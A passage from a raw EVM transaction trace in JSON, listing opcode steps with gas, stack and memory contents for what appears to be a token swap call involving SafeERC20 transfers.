000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":513,"op":"SWAP1","gas":2172,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x3a4","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":514,"op":"PUSH2","gas":2169,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":517,"op":"JUMP","gas":2166,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x37ca"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14282,"op":"JUMPDEST","gas":2158,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14283,"op":"PUSH1","gas":2157,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14285,"op":"DUP1","gas":2154,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14286,"op":"DUP3","gas":2151,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14287,"op":"MSTORE","gas":2148,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x20","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14288,"op":"DUP3","gas":2145,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14289,"op":"MLOAD","gas":2142,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14290,"op":"DUP3","gas":2139,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14291,"op":"DUP3","gas":2136,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14292,"op":"ADD","gas":2133,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2","0x3a4","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14293,"op":"DUP2","gas":2130,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2","0x3c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","00000020f40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14294,"op":"SWAP1","gas":2127,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x20","0x2","0x3c4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50df